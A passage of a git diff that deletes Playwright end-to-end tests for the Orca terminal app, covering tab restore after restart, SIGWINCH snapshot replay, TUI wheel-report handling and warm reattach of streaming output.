waitForActiveTerminalManager(firstLaunch.page, 30_000) - .then(() => true) - .catch(() => false) - test.skip( - !hasPaneManager, - 'Electron automation in this environment never mounted the TerminalPane manager.' - ) - await waitForPaneCount(firstLaunch.page, 1, 30_000) - - const closedTabId = await getActiveTabId(firstLaunch.page) - if (!closedTabId) { - throw new Error('First launch did not expose an active terminal tab') - } - expect(await getWorktreeTabs(firstLaunch.page, worktreeId)).toHaveLength(1) - - const client = new RuntimeClient(session.userDataDir, 30_000) - await expect - .poll( - async () => { - try { - const shown = await client.call<{ worktree: RuntimeWorktreeRecord }>('worktree.show', { - worktree: `id:${worktreeId}` - }) - return shown.result.worktree.id - } catch (error) { - if (error instanceof RuntimeRpcFailureError && error.code === 'selector_not_found') { - return null - } - throw error - } - }, - { message: 'Split target did not become runtime-worktree-resolvable' } - ) - .toBe(worktreeId) - let activeHandle: string | null = null - await expect - .poll( - async () => { - // The pane's terminal can still be binding; the host then says it can't answer yet. - const listed = await readFreshTerminalInventory(async () => { - const response = await client.call('terminal.list', { - worktree: `id:${worktreeId}` - }) - return response.result - }) - if (!listed) { - return null - } - const matching = listed.terminals.filter( - (terminal) => terminal.worktreeId === worktreeId && terminal.tabId === closedTabId - ) - activeHandle = matching.length === 1 ? (matching[0]?.handle ?? null) : null - return matching.length - }, - { message: 'Closed-tab candidate did not become uniquely runtime-visible' } - ) - .toBe(1) - if (!activeHandle) { - throw new Error('Closed-tab candidate became visible without a terminal handle') - } - const split = await client.call<{ split: RuntimeTerminalSplit }>('terminal.split', { - terminal: activeHandle, - direction: 'vertical' - }) - expect(split.result.split.tabId).toBe(closedTabId) - await waitForPaneCount(firstLaunch.page, 2, 30_000) - - const close = await client.call<{ close: RuntimeTerminalClose }>('terminal.closeTab', { - terminal: split.result.split.handle - }) - expect(close.result.close).toMatchObject({ - handle: split.result.split.handle, - tabId: closedTabId, - closeMode: 'tab' - }) - await expect - .poll(() => getWorktreeTabs(firstLaunch.page, worktreeId), { - message: 'The acknowledged close left the split terminal tab in renderer state' - }) - .toEqual([]) - - await expect - .poll( - async () => { - const afterClose = await readFreshTerminalInventory(async () => { - const response = await client.call('terminal.list', { - worktree: `id:${worktreeId}` - }) - return response.result - }) - return afterClose?.terminals - .filter((terminal) => terminal.tabId === closedTabId) - .map((terminal) => terminal.handle) - }, - { message: 'The acknowledged close left host terminal rows alive' } - ) - .toEqual([]) - - await session.close(firstApp) - firstApp = null - - const secondLaunch = await session.launch() - secondApp = secondLaunch.app - await waitForSessionReady(secondLaunch.page) - // Activation deliberately creates a fresh terminal; observe passive hydration first. - await expect - .poll(() => - secondLaunch.page.evaluate( - (id) => - window.__store - ?.getState() - .allWorktrees() - .some((worktree) => worktree.id === id), - worktreeId - ) - ) - .toBe(true) - - // Wait beyond initial effects so late default-tab creation cannot resurrect the closed tab unnoticed. - await secondLaunch.page.waitForTimeout(1_000) - const restoredTabs = await getWorktreeTabs(secondLaunch.page, worktreeId) - expect(restoredTabs).toEqual([]) - - const afterRestart = await client.call('terminal.list', { - worktree: `id:${worktreeId}` - }) - expect(afterRestart.result.terminals).toEqual([]) - - // Tombstones govern passive hydration; explicit sidebar activation must create a fresh terminal instead of #14590’s blank bar. - await worktreeRowSurface(secondLaunch.page, worktreeId).click() - await expect - .poll(() => getWorktreeTabs(secondLaunch.page, worktreeId), { - message: 'Explicit sidebar activation did not re-seed a terminal tab' - }) - .toHaveLength(1) - const reseededTabs = await getWorktreeTabs(secondLaunch.page, worktreeId) - expect(reseededTabs[0]?.id).not.toBe(closedTabId) - } finally { - if (firstApp) { - await session.close(firstApp) - } - if (secondApp) { - await session.close(secondApp) - } - await session.dispose() - } -}) diff --git a/tests/e2e/terminal-tab-switch-sigwinch-restore.spec.ts b/tests/e2e/terminal-tab-switch-sigwinch-restore.spec.ts deleted file mode 100644 index 83043348694..00000000000 --- a/tests/e2e/terminal-tab-switch-sigwinch-restore.spec.ts +++ /dev/null @@ -1,296 +0,0 @@ -import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { stageNodeScriptForTerminal } from './helpers/run-node-script-in-terminal' -import { - ensureTerminalVisible, - getActiveTabId, - getActiveWorktreeId, - waitForActiveWorktree, - waitForSessionReady -} from './helpers/store' -import { - getTerminalContent, - sendToTerminal, - waitForActiveTerminalManager -} from './helpers/terminal' - -const SIGWINCH_PROBE_PAGE = 100 -const SIGWINCH_PROBE_ROWS = 12 - -type HiddenOutputDebugSnapshot = { - hiddenRendererSkipCount: number -} - -type HiddenOutputRecoveryWindow = Window & { - __terminalPtyDataInjection?: { - inject: (paneKey: string, data: string, meta?: { seq?: number; rawLength?: number }) => boolean - } - __terminalPtyOutputDebug?: { - reset: () => void - snapshot: () => HiddenOutputDebugSnapshot - } - __terminalHiddenSnapshotOverride?: { - setPending: ( - ptyId: string, - snapshot: { data: string; cols: number; rows: number; seq?: number } - ) => void - resolve: (ptyId: string) => void - } -} - -function buildSigwinchProbeRows(page: number): string { - return Array.from( - { length: SIGWINCH_PROBE_ROWS }, - (_, index) => `row ${String(page + index).padStart(3, '0')}` - ).join('\r\n') -} - -function buildSigwinchResetProbeCommand(): string { - const script = [ - 'let armed=false', - `let page=${SIGWINCH_PROBE_PAGE}`, - "const topLabel=['TOP','AFTER','SIGWINCH'].join('_')", - `function paint(label){process.stdout.write('\\x1b[?1049h\\x1b[2J\\x1b[H'+label+' page='+page+'\\r\\n'+Array.from({length:${SIGWINCH_PROBE_ROWS}},(_,i)=>'row '+String(page+i).padStart(3,'0')).join('\\r\\n'))}`, - "paint('VISIBLE_BEFORE_SWITCH')", - "process.stdin.setEncoding('utf8')", - "process.stdin.on('data',data=>{if(data.includes('ARM_SIGWINCH_PROBE')){armed=true;paint('ARMED_BEFORE_SWITCH')}})", - "process.on('SIGWINCH',()=>{if(armed===false)return;page=0;paint(topLabel)})", - 'setInterval(()=>{},1000)' - ].join(';') - // Why: delivered via a temp file — `node -e` quoting is not PowerShell-safe (#8521). - return stageNodeScriptForTerminal(script, { prefix: 'orca-sigwinch-probe' }).command -} - -function buildSigwinchResetProbeSnapshot(label: string): string { - return `\x1b[?1049h\x1b[2J\x1b[H${label} page=${SIGWINCH_PROBE_PAGE}\r\n${buildSigwinchProbeRows(SIGWINCH_PROBE_PAGE)}` -} - -async function createAgentMarkedTerminalTab( - page: Page, - agent: 'codex', - command: string -): Promise { - const worktreeId = (await getActiveWorktreeId(page))! - return page.evaluate( - ({ worktreeId, agent, command }) => { - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - const state = store.getState() - const tab = state.createTab(worktreeId, undefined, undefined, { - launchAgent: agent - }) - state.queueTabStartupCommand(tab.id, { - command, - launchAgent: agent, - telemetry: { - agent_kind: agent, - launch_source: 'tab_bar_quick_launch', - request_kind: 'new' - } - }) - state.setActiveTab(tab.id) - state.setActiveTabType('terminal', window.__store?.getState().activeWorktreeId ?? null) - return tab.id - }, - { worktreeId, agent, command } - ) -} - -async function activateTerminalTab(page: Page, tabId: string): Promise { - await page.evaluate((id) => { - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - store.getState().setActiveTab(id) - store.getState().setActiveTabType('terminal', store.getState().activeWorktreeId) - }, tabId) - await expect - .poll( - () => - page - .locator(`[data-testid="sortable-tab"][data-active="true"]`) - .getAttribute('data-tab-id'), - { - timeout: 3_000 - } - ) - .toBe(tabId) -} - -async function waitForPanePtyIdOnTab(page: Page, tabId: string): Promise { - await expect - .poll( - () => - page.evaluate((id) => { - const manager = window.__paneManagers?.get(id) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - return pane?.container?.dataset?.ptyId ?? null - }, tabId), - { timeout: 15_000, message: `Pane for tab ${tabId} did not receive a PTY binding` } - ) - .not.toBeNull() -} - -async function readPaneIdentityOnTab( - page: Page, - tabId: string -): Promise<{ leafId: string; ptyId: string; cols: number; rows: number }> { - const identity = await page.evaluate((tabId) => { - const manager = window.__paneManagers?.get(tabId) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - if (!pane) { - return null - } - return { - leafId: pane.container.dataset.leafId ?? null, - ptyId: pane.container.dataset.ptyId ?? null, - cols: pane.terminal.cols, - rows: pane.terminal.rows - } - }, tabId) - if (!identity?.leafId || !identity.ptyId) { - throw new Error(`Pane identity for tab ${tabId} is incomplete`) - } - return { - leafId: identity.leafId, - ptyId: identity.ptyId, - cols: identity.cols, - rows: identity.rows - } -} - -async function resetHiddenOutputDebug(page: Page): Promise { - await page.evaluate(() => { - ;(window as HiddenOutputRecoveryWindow).__terminalPtyOutputDebug?.reset() - }) -} - -async function readHiddenOutputDebug(page: Page): Promise { - return page.evaluate(() => { - return (window as HiddenOutputRecoveryWindow).__terminalPtyOutputDebug?.snapshot() ?? null - }) -} - -async function injectPaneData( - page: Page, - paneKey: string, - data: string, - meta?: { seq?: number; rawLength?: number } -): Promise { - const injected = await page.evaluate( - ({ paneKey, data, meta }) => - (window as HiddenOutputRecoveryWindow).__terminalPtyDataInjection?.inject( - paneKey, - data, - meta - ) ?? false, - { paneKey, data, meta } - ) - if (!injected) { - throw new Error(`No terminal PTY data injector registered for ${paneKey}`) - } -} - -async function setHiddenSnapshotOverride( - page: Page, - ptyId: string, - snapshot: { data: string; cols: number; rows: number; seq?: number } -): Promise { - await page.evaluate( - ({ ptyId, snapshot }) => { - const api = (window as HiddenOutputRecoveryWindow).__terminalHiddenSnapshotOverride - if (!api) { - throw new Error('Hidden snapshot override API unavailable') - } - api.setPending(ptyId, snapshot) - api.resolve(ptyId) - }, - { ptyId, snapshot } - ) -} - -test.describe('Terminal tab switch SIGWINCH restore', () => { - test('keeps an alternate-screen Codex viewport after hidden snapshot replay', async ({ - orcaPage - }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - - const shellTabId = (await getActiveTabId(orcaPage))! - const agentTabId = await createAgentMarkedTerminalTab( - orcaPage, - 'codex', - buildSigwinchResetProbeCommand() - ) - await waitForActiveTerminalManager(orcaPage, 30_000) - await waitForPanePtyIdOnTab(orcaPage, agentTabId) - await expect - .poll(() => getTerminalContent(orcaPage, 8_000), { - timeout: 10_000, - message: 'SIGWINCH probe TUI did not paint its initial scrolled page' - }) - .toContain(`VISIBLE_BEFORE_SWITCH page=${SIGWINCH_PROBE_PAGE}`) - const paneIdentity = await readPaneIdentityOnTab(orcaPage, agentTabId) - await sendToTerminal(orcaPage, paneIdentity.ptyId, 'ARM_SIGWINCH_PROBE\n') - await expect - .poll(() => getTerminalContent(orcaPage, 8_000), { - timeout: 10_000, - message: 'SIGWINCH probe TUI did not arm after startup settled' - }) - .toContain(`ARMED_BEFORE_SWITCH page=${SIGWINCH_PROBE_PAGE}`) - await orcaPage.waitForTimeout(1_200) - const armedContentAfterSettle = await getTerminalContent(orcaPage, 8_000) - expect(armedContentAfterSettle).not.toContain('TOP_AFTER_SIGWINCH page=0') - const paneKey = `${agentTabId}:${paneIdentity.leafId}` - - await activateTerminalTab(orcaPage, shellTabId) - const hiddenFrame = ['\x1b[?2026h', 'hidden probe frame', '\x1b[?2026l'].join('\r\n') - await resetHiddenOutputDebug(orcaPage) - await injectPaneData(orcaPage, paneKey, hiddenFrame, { - seq: hiddenFrame.length, - rawLength: hiddenFrame.length - }) - - await expect - .poll(async () => (await readHiddenOutputDebug(orcaPage))?.hiddenRendererSkipCount ?? 0, { - timeout: 5_000, - message: 'Codex probe hidden output did not take the skipped renderer path' - }) - .toBeGreaterThan(0) - await setHiddenSnapshotOverride(orcaPage, paneIdentity.ptyId, { - data: buildSigwinchResetProbeSnapshot('RESTORED_SNAPSHOT'), - cols: paneIdentity.cols, - rows: paneIdentity.rows, - seq: hiddenFrame.length - }) - - await activateTerminalTab(orcaPage, agentTabId) - - await expect - .poll( - async () => { - const content = await getTerminalContent(orcaPage, 8_000) - if (content.includes('TOP_AFTER_SIGWINCH page=0')) { - return 'top' - } - return content.includes(`RESTORED_SNAPSHOT page=${SIGWINCH_PROBE_PAGE}`) - ? 'snapshot' - : 'pending' - }, - { - timeout: 10_000, - message: 'hidden snapshot replay did not restore the probe TUI page' - } - ) - .toBe('snapshot') - await orcaPage.waitForTimeout(1_200) - const contentAfterSettle = await getTerminalContent(orcaPage, 8_000) - expect(contentAfterSettle).toContain(`RESTORED_SNAPSHOT page=${SIGWINCH_PROBE_PAGE}`) - expect(contentAfterSettle).not.toContain('TOP_AFTER_SIGWINCH page=0') - }) -}) diff --git a/tests/e2e/terminal-tui-wheel-drain.spec.ts b/tests/e2e/terminal-tui-wheel-drain.spec.ts deleted file mode 100644 index e8cb9a787dc..00000000000 --- a/tests/e2e/terminal-tui-wheel-drain.spec.ts +++ /dev/null @@ -1,174 +0,0 @@ -import type { XtermWithRenderDimensions } from './helpers/xterm-render-dimensions' -import fs from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { startHiddenRendererFrameCapture } from './helpers/hidden-renderer-frame-capture' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - execInTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' - -const VISIBLE_TUI_FIXTURE_PATH = path.join( - process.cwd(), - 'tests/e2e/fixtures/visible-tui-scroll-fixture.cjs' -) - -// Require reports to stop promptly after gesture: old ≥4ms per-report macrotasks starved behind prioritized input/TUI redraw and replayed seconds later. -const MAX_ARRIVAL_LAG_MS = 900 -// Use 60 uninterrupted events: serial CDP/redraw round-trips can take ~2.7s on loaded CI, making 120 overrun even 360s. -const WHEEL_EVENTS = 60 - -type WheelStreamResult = { - dispatchedEvents: number - inputEndWallClockMs: number -} - -async function startHeavyTuiFixture(page: Page, logPath: string): Promise { - await waitForSessionReady(page) - await waitForActiveWorktree(page) - await ensureTerminalVisible(page) - await waitForActiveTerminalManager(page, 30_000) - await page.evaluate(() => - window.__store?.getState().updateSettings({ terminalTuiScrollSensitivity: 1 }) - ) - - const ptyId = await waitForActivePanePtyId(page) - await execInTerminal( - page, - ptyId, - `node ${JSON.stringify(VISIBLE_TUI_FIXTURE_PATH)} --heavy --log ${JSON.stringify(logPath)}` - ) - - await expect - .poll( - () => - page.evaluate(() => { - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - return pane?.terminal.element?.classList.contains('enable-mouse-events') ?? false - }), - { timeout: 15_000, message: 'fixture did not enable mouse reporting' } - ) - .toBe(true) -} - -async function terminalWheelTarget( - page: Page -): Promise<{ x: number; y: number; cellHeight: number }> { - return page.evaluate(() => { - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - const screen = pane?.terminal.element?.querySelector('.xterm-screen') - if (!pane?.terminal || !screen) { - throw new Error('Active terminal screen unavailable') - } - const rect = screen.getBoundingClientRect() - return { - x: rect.left + rect.width / 2, - y: rect.top + Math.min(rect.height - 1, 40), - cellHeight: - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: xterm has no public cell-size API; the private render service is read through all-optional fields. - (pane.terminal as XtermWithRenderDimensions)._core?._renderService?.dimensions?.css?.cell - ?.height ?? rect.height / pane.terminal.rows - } - }) -} - -// Use compositor CDP wheel events, not DOM dispatch, to compete with timer-based input drain at physical-input priority. -async function dispatchTrackpadWheelStream( - page: Page, - options: { alternate: boolean; events: number; deltaY: number } -): Promise { - const target = await terminalWheelTarget(page) - await page.mouse.move(target.x, target.y) - for (let i = 0; i < options.events; i += 1) { - const direction = options.alternate && Math.floor(i / 18) % 2 === 1 ? -1 : 1 - // No sleep: CDP round-trips pace input while continuously occupying its queue. - await page.mouse.wheel(0, direction * options.deltaY) - } - const inputEndWallClockMs = await page.evaluate(() => Date.now()) - return { dispatchedEvents: options.events, inputEndWallClockMs } -} - -type ReportArrival = { atMs: number; reports: number } - -function readReportArrivalLog(logPath: string): ReportArrival[] { - if (!fs.existsSync(logPath)) { - return [] - } - return fs - .readFileSync(logPath, 'utf8') - .split('\n') - .filter(Boolean) - .map((line) => { - const [atMs, reports] = line.split(' ') - return { atMs: Number(atMs), reports: Number(reports) } - }) -} - -function summarizeArrivals( - arrivals: ReportArrival[], - input: WheelStreamResult -): { arrivalLagMs: number; chunks: number; totalReports: number } { - const totalReports = arrivals.reduce((sum, entry) => sum + entry.reports, 0) - const lastArrivalMs = arrivals.at(-1)?.atMs ?? 0 - return { - arrivalLagMs: lastArrivalMs - input.inputEndWallClockMs, - chunks: arrivals.length, - totalReports - } -} - -test.describe('terminal TUI wheel report drain', () => { - test('dense trackpad-like wheel stream reaches the PTY while the gesture happens', async ({ - orcaPage - }) => { - // Why: the dense CDP wheel stream is throughput-bound on loaded CI runners. - test.slow() - const logPath = path.join(os.tmpdir(), `tui-wheel-drain-${Date.now()}.log`) - const stopFrameCapture = await startHiddenRendererFrameCapture(orcaPage) - try { - await startHeavyTuiFixture(orcaPage, logPath) - - const target = await terminalWheelTarget(orcaPage) - const input = await dispatchTrackpadWheelStream(orcaPage, { - alternate: false, - events: WHEEL_EVENTS, - deltaY: Math.min(49, target.cellHeight) - }) - // Give a laggy drain ample time to expose itself before reading the log. - await orcaPage.waitForTimeout(8000) - - const summary = summarizeArrivals(readReportArrivalLog(logPath), input) - console.log(`[tui-wheel-drain] dense: ${JSON.stringify(summary)}`) - - expect(summary.totalReports, JSON.stringify(summary)).toBeGreaterThanOrEqual( - WHEEL_EVENTS - 10 - ) - expect(summary.arrivalLagMs, JSON.stringify(summary)).toBeLessThanOrEqual(MAX_ARRIVAL_LAG_MS) - } finally { - await stopFrameCapture() - fs.rmSync(logPath, { force: true }) - } - }) -}) diff --git a/tests/e2e/terminal-tui-wheel-reports.spec.ts b/tests/e2e/terminal-tui-wheel-reports.spec.ts deleted file mode 100644 index bcf524726ed..00000000000 --- a/tests/e2e/terminal-tui-wheel-reports.spec.ts +++ /dev/null @@ -1,326 +0,0 @@ -import type { XtermWithRenderDimensions } from './helpers/xterm-render-dimensions' -import type { Page } from '@stablyai/playwright-test' -import path from 'node:path' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - execInTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' - -type WheelReportSample = { - reportCount: number - reportDelta: number - reports: string[] -} - -type TimedWheelReportSample = WheelReportSample & { - elapsedMs: number -} - -const PHYSICAL_MOUSE_WHEEL_DELTA = -120 -const VISIBLE_TUI_FIXTURE_PATH = path.join( - process.cwd(), - 'tests/e2e/fixtures/visible-tui-scroll-fixture.cjs' -) - -async function probeTimedSmallMouseWheelReports( - page: Page, - options: { - drainWaitMs: number - intervalMs: number - ticks: number - } -): Promise<{ - reports: string[] - samples: TimedWheelReportSample[] -}> { - return page.evaluate( - async ({ drainWaitMs, intervalMs, physicalMouseWheelDelta, tickCount }) => { - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - if (!pane?.terminal.element) { - throw new Error('Active terminal pane unavailable') - } - - const reports: string[] = [] - const disposable = pane.terminal.onData((data) => reports.push(data)) - try { - if (!pane.terminal.element.classList.contains('enable-mouse-events')) { - throw new Error('Mouse reporting mode did not activate') - } - - const screen = pane.terminal.element.querySelector('.xterm-screen') - if (!screen) { - throw new Error('Active terminal screen unavailable') - } - - const rect = screen.getBoundingClientRect() - const cellHeight = - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: xterm has no public cell-size API; the private render service is read through all-optional fields. - (pane.terminal as XtermWithRenderDimensions)._core?._renderService?.dimensions?.css?.cell - ?.height ?? rect.height / pane.terminal.rows - const scrollSensitivity = Number(pane.terminal.options.scrollSensitivity ?? 1) - // Why: this is a notched mouse wheel event that Chromium can surface as a - // small pixel delta; xterm's <50px damping accumulates it for four ticks. - const deltaY = (cellHeight * 0.28) / (scrollSensitivity * 0.3) - const samples: TimedWheelReportSample[] = [] - const startedAt = performance.now() - - for (let i = 0; i < tickCount; i += 1) { - const before = reports.length - const event = new WheelEvent('wheel', { - bubbles: true, - cancelable: true, - clientX: rect.left + rect.width / 2, - clientY: rect.top + Math.min(rect.height - 1, cellHeight * 4), - deltaMode: WheelEvent.DOM_DELTA_PIXEL, - deltaY - }) - Object.defineProperty(event, 'wheelDeltaY', { - configurable: true, - value: physicalMouseWheelDelta - }) - Object.defineProperty(event, 'wheelDelta', { - configurable: true, - value: physicalMouseWheelDelta - }) - pane.terminal.element.dispatchEvent(event) - await new Promise((resolve) => setTimeout(resolve, intervalMs)) - samples.push({ - elapsedMs: performance.now() - startedAt, - reportCount: reports.length, - reportDelta: reports.length - before, - reports: [...reports] - }) - } - - await new Promise((resolve) => setTimeout(resolve, drainWaitMs)) - - return { - reports: [...reports], - samples - } - } finally { - disposable.dispose() - } - }, - { - drainWaitMs: options.drainWaitMs, - intervalMs: options.intervalMs, - physicalMouseWheelDelta: PHYSICAL_MOUSE_WHEEL_DELTA, - tickCount: options.ticks - } - ) -} - -async function readVisibleTuiOffset(page: Page): Promise { - return page.evaluate(() => { - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - if (!pane?.terminal) { - return null - } - - for (let row = 0; row < pane.terminal.rows; row += 1) { - const text = pane.terminal.buffer.active.getLine(row)?.translateToString(true) ?? '' - const match = /TUI_SCROLL_ROW_(\d+)/.exec(text) - if (match) { - return Number(match[1]) - } - } - return null - }) -} - -async function dispatchTuiWheel( - page: Page, - options: { - deltaY: number - wheelDeltaY?: number - } -): Promise { - await page.evaluate(({ deltaY, wheelDeltaY }) => { - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - if (!pane?.terminal.element) { - throw new Error('Active terminal pane unavailable') - } - - const screen = pane.terminal.element.querySelector('.xterm-screen') - if (!screen) { - throw new Error('Active terminal screen unavailable') - } - const rect = screen.getBoundingClientRect() - const event = new WheelEvent('wheel', { - bubbles: true, - cancelable: true, - clientX: rect.left + rect.width / 2, - clientY: rect.top + Math.min(rect.height - 1, 40), - deltaMode: WheelEvent.DOM_DELTA_PIXEL, - deltaY - }) - if (wheelDeltaY !== undefined) { - Object.defineProperty(event, 'wheelDeltaY', { - configurable: true, - value: wheelDeltaY - }) - Object.defineProperty(event, 'wheelDelta', { - configurable: true, - value: wheelDeltaY - }) - } - pane.terminal.element.dispatchEvent(event) - }, options) -} - -// Let a running TUI own mouse mode; late shell startup output can reset injected modes. -async function startTuiFixture(page: Page): Promise { - const ptyId = await waitForActivePanePtyId(page) - await execInTerminal(page, ptyId, `node ${JSON.stringify(VISIBLE_TUI_FIXTURE_PATH)}`) - await expect - .poll(() => readVisibleTuiOffset(page), { - timeout: 10_000, - message: 'fullscreen TUI did not render numbered rows' - }) - .toBe(0) -} - -test.describe('terminal TUI wheel reports', () => { - test('fullscreen mouse-reporting TUI scroll distance follows wheel magnitude @headful', async ({ - electronApp, - orcaPage - }) => { - await electronApp.evaluate(({ BrowserWindow }) => { - const win = BrowserWindow.getAllWindows()[0] - if (!win) { - throw new Error('No BrowserWindow available') - } - if (win.isMinimized()) { - win.restore() - } - win.show() - win.focus() - win.setFullScreen(true) - }) - await expect - .poll(() => - electronApp.evaluate( - ({ BrowserWindow }) => BrowserWindow.getAllWindows()[0]?.isFullScreen() ?? false - ) - ) - .toBe(true) - await orcaPage.waitForTimeout(1200) - - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - await orcaPage.evaluate(() => - window.__store?.getState().updateSettings({ terminalTuiScrollSensitivity: 1 }) - ) - - await startTuiFixture(orcaPage) - - await dispatchTuiWheel(orcaPage, { - deltaY: 10, - wheelDeltaY: PHYSICAL_MOUSE_WHEEL_DELTA - }) - await expect - .poll(() => readVisibleTuiOffset(orcaPage), { - timeout: 5_000, - message: 'single notched wheel tick did not visibly scroll the TUI' - }) - .toBe(1) - - const cellHeight = await orcaPage.evaluate(() => { - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - const screen = pane?.terminal.element?.querySelector('.xterm-screen') - if (!pane?.terminal || !screen) { - throw new Error('Active terminal screen unavailable') - } - return screen.getBoundingClientRect().height / pane.terminal.rows - }) - - await dispatchTuiWheel(orcaPage, { - deltaY: cellHeight * 12, - wheelDeltaY: PHYSICAL_MOUSE_WHEEL_DELTA * 12 - }) - - await expect - .poll(() => readVisibleTuiOffset(orcaPage), { - timeout: 5_000, - message: 'larger wheel movement did not visibly move the TUI farther' - }) - .toBe(7) - }) - - test('TUI scroll setting scales notched mouse wheel reports', async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - await orcaPage.evaluate(() => - window.__store?.getState().updateSettings({ terminalTuiScrollSensitivity: 5 }) - ) - - await startTuiFixture(orcaPage) - const slow = await probeTimedSmallMouseWheelReports(orcaPage, { - drainWaitMs: 120, - intervalMs: 220, - ticks: 5 - }) - await orcaPage.waitForTimeout(220) - const paced = await probeTimedSmallMouseWheelReports(orcaPage, { - drainWaitMs: 220, - intervalMs: 80, - ticks: 5 - }) - - expect( - slow.samples.map((sample) => sample.reportDelta), - `slow per-tick SGR mouse reports: ${JSON.stringify(slow.samples)}` - ).toEqual([5, 5, 5, 5, 5]) - expect( - paced.samples.map((sample) => sample.reportDelta), - `paced per-tick SGR mouse reports: ${JSON.stringify(paced.samples)}` - ).toEqual([5, 5, 5, 5, 5]) - expect(paced.reports.length, `paced SGR mouse reports: ${JSON.stringify(paced.samples)}`).toBe( - 25 - ) - }) -}) diff --git a/tests/e2e/terminal-warm-reattach-split-live-output.spec.ts b/tests/e2e/terminal-warm-reattach-split-live-output.spec.ts deleted file mode 100644 index 1754c9ce3a9..00000000000 --- a/tests/e2e/terminal-warm-reattach-split-live-output.spec.ts +++ /dev/null @@ -1,262 +0,0 @@ -import { existsSync, mkdirSync, readFileSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { TEST_REPO_PATH_FILE } from './global-setup' -import { - execInTerminal, - splitActiveTerminalPane, - waitForActiveTerminalManager, - waitForPaneCount, - waitForPaneIdentitySnapshot -} from './helpers/terminal' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { PTY_SESSION_ID_SEPARATOR } from '../../src/shared/terminal/pty/lifecycle/pty-session-id-format' - -type PaneProbe = { - content: string - cols: number - rows: number - proposed: { cols: number; rows: number } | null - rect: { width: number; height: number } -} - -function frameNumber(content: string): number { - const matches = [...content.matchAll(/REATTACH_FRAME_(\d+)/g)] - return Number(matches.at(-1)?.[1] ?? 0) -} - -function heartbeatNumber(path: string): number { - return Number(readFileSync(path, 'utf8').trim()) -} - -function writeStreamingTui(scriptPath: string): void { - mkdirSync(path.dirname(scriptPath), { recursive: true }) - writeFileSync( - scriptPath, - [ - "import { writeFileSync } from 'node:fs'", - 'const heartbeatPath = process.argv[2]', - 'let frame = 0', - "process.stdout.write('\\x1b[?1049h\\x1b[?25l')", - 'setInterval(() => {', - ' frame += 1', - ' writeFileSync(heartbeatPath, String(frame))', - ' const body = [', - " '╭────────────────────────────────────────────────────╮',", - " `│ Orca warm reattach frame ${String(frame).padStart(6, '0')} 🟢 │`,", - " '├────────────────────────────────────────────────────┤',", - ' `│ REATTACH_FRAME_${frame} live daemon output │`,', - " '╰────────────────────────────────────────────────────╯'", - " ].join('\\r\\n')", - ' process.stdout.write(`\\x1b[?2026h\\x1b[2J\\x1b[H${body}\\x1b[?2026l`)', - '}, 50)', - '' - ].join('\n') - ) -} - -async function setFullscreen(app: ElectronApplication, page: Page): Promise { - await app.evaluate(({ BrowserWindow }) => { - const window = BrowserWindow.getAllWindows()[0] - if (!window) { - throw new Error('No 